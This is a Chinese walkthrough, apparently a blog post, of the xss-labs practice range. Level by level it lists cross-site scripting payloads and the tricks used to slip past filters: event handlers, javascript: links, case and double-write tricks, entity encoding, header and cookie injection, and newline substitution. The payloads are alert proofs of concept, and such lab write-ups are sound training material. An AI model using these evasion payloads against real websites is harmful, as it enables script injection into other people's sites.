xss-libs靶场总结

xsslabs靶场解析

见框就插

  • 找框:输入框,搜索框

  • 插代码

第1关
<script>alert(1)</script>
第2关

语句:

<script>alert(1)</script>
  • 尝试闭合标签,成功
"> <script>alert(1)</script>
第3关

语句:

<script>alert(1)</script>
  • 发现标签被实体化
<input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>	
  • 尝试使用事件,成功
'οnfοcus=alert('xss') '
第4关

语句:

<script>alert(1)</script>
  • 发现<,>被吃掉了(尖括号过滤)
<input name="keyword" value="scriptalert(1)/script">
  • 尝试使用事件,成功
"οnfοcus=alert('xss') "
第5关

语句:

<script>alert(1)</script>
  • 发现<script ==> <scr_ipt
<input name="keyword" value="<scr_ipt>alert(1)</script>">
  • 尝试使用事件,发现也被过滤 on ==> o_n
"οnfοcus=alert('xss') "

<input name="keyword" value="" o_nfocus="alert('xss')" ""="">
  • 尝试使用伪协议,成功
"> <a href=javascript:alert(1)>aaa</a>
第6关

语句:

<script>alert(1)</script>
  • 发现<script ==> <scr_ipt
<input name="keyword" value="<scr_ipt>alert(1)</script>">
  • 尝试使用事件,发现也被过滤 on ==> o_n
"οnfοcus=alert('xss') "

<input name="keyword" value="" o_nfocus="alert('xss')" ""="">
  • 尝试使用伪协议,也被过滤href ==> hr_ef
<a hr_ef="javascript:alert(1)">aaa</a>
  • 尝试大小写绕过,成功
"><ScRiPt>alert(/xss/)</sCrIpT>
第7关

语句:

<script>alert(1)</script>
  • 发现,script被过滤了
<input name="keyword" value="<>alert(1)</>">
  • 尝试双写绕过,成功
"><scriscriptpt>alert(1)</scriscriptpt>
第8关

语句:

<script>alert(1)</script>
  • 发现<script ==> <src_ipt ,且参数在a标签中
<a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a>
  • 尝试使用伪协议,发现也被过滤了
javascript:alert(1)

<a href="javascr_ipt:alert(1)">友情链接</a>
  • 尝试其他标签,发现参数src以及 on也被过滤了(事件也无法使用)
<a href="<img sr_c=# o_nerror=alert(1)>">友情链接</a>
  • 尝试使用unicode编码(href的隐藏属性自动Unicode解码),成功
javascript:alert()
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
第9关

语句:

javascript:alert(1)
  • 插入之后,发现参数没有插入成功,而是说链接不合法
<a href="您的链接不合法?有没有!">友情链接</a>
  • 查看源代码,发现,当我们传入的参数中,没有包含http://时,参数无法插入成功
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
  • 尝试加入http://进行测试,发现参数可以正常传递,但是关键字被过滤(其他关键字也被过滤,自行尝试或查看关卡源代码)
<a href="javascr_ipt:alert(1)http://">友情链接</a>
  • 尝试unicode编码,发现成功绕过,但是有http://存在,无法成功执行payload
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;http://


<a href="javascript:alert(1)http://">友情链接</a>
  • 尝试注释掉http://,成功
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/

注释符号:/**/

关键点:

  • unicode编码

  • 绕过http:// 并注释

第10关

语句:

<script>alert(1)</script>
  • 发现没有效果,查看源代码发现有猫腻,真正传参的地方被隐藏了
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
  • 在url栏进行真正的参数测试,发现只有t_sort能传递参数,但是<>被过滤了
t_link:         <script>alert(1)</script> 
t_history:      <script>alert(1)</script> 
t_sort:         <script>alert(1)</script> 
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="scriptalert(1)/script" type="hidden">
  • 尝试事件并构造闭合,成功
?t_sort=" οninput=alert(1) type="text

这里的type="text,是为了使hidden属性失效而构造的,
也是为了方便我们执行oninput事件

关键点:

  • 隐藏框:hidden

  • 传参点:t_sort

  • 过滤点:< >

第11关

查看源代码发现,在t_ref处有http协议头中的referer参数传递

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://localhost:7036/xss_labs/www.xss.com/level10.php?t_sort=%22%20οninput=alert(1)%20type=%22text" type="hidden">
  • 先判断,其余3个参数能否传参

    • 发现只有t_sort能够传递参数
  • 尝试t_sort,发现"被实体化,尝试编码绕过,也不行

?t_sort=" οninput=alert(1) type="text
<input name="t_sort"  value="" onfocus=alert(1) type="text" type="hidden">

?t_sort=&#34;%20οninput=alert(1)%20type=&#34;text
?t_sort=&#34;&#32;&#111;&#110;&#102;&#111;&#99;&#117;&#115;&#61;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#32;&#116;&#121;&#112;&#101;&#61;&#34;&#116;&#101;&#120;&#116;
<input name="t_sort"  value="" type="hidden">
  • 尝试我们最开始发现的t_ref;由于其value值为http协议头,我们使用抓包工具,在第10关成功之时抓包,使用referer头进行测试
  • payload:user=" οnfοcus=alert(1) type="text

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 修改之后放掉此包,成功
    在这里插入图片描述

关键点:

  • 传参方式改变,从一般的get,post传参变为了http协议中referer头传参
第12关

思路与第11关一致

关键点:

  • 参数传递方式:http协议中的ua头传参
  • payload:" οnfοcus=alert(1) type="text
    在这里插入图片描述
第13关

思路与第11关一致

关键点:

  • 参数传递方式:http协议中的cookie传参
    • payload:user=" οnfοcus=alert(1) type="text

在这里插入图片描述

第15关

查看网页源代码,发现了

<body><span class="ng-include:"></span></body>
  • 利用的是文件包含

  • js里面的ng-include和php里面include,一样的作用

方法:

  • 想办法包含其他关卡,进行弹框

  • 包含第2关,get传参,用经典xss代码发现被实体化,再尝试用事件型

  • payload:?src=‘level2.php?keyword=as" οnfοcus="alert(1)’

第16关

经过测试:

  • 发现过滤了script
  • 大小写,双写都不行
  • 尝试其他标签,发现空格被过滤 ==> 实体化
  • /也被转换为了 空格(&nbsp;

方法:

  • 绕过空格,换行%0a替代空格
  • payload:
    • <img%0asrc=123%0aοnerrοr=alert(1)>
    • <svg%0asrc=123%0aοnerrοr=alert(1)>
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值